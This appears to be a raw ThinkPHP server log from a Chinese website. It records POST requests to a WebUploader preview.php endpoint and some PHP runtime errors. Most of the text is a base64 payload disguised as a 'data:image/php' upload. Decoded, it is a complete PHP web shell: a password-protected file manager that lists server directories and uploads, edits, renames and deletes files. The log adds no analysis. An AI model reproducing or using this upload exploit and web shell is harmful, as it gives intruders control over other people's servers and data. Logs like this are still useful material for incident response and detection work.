oUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:29:57+08:00 ] 119.42.146.234 POST 51tianwei.com/lib/webuploader/0.1.15/server/preview.php [运行时间:0.002726s] [吞吐率:366.83req/s] [内存消耗:196.66kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'lib', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY2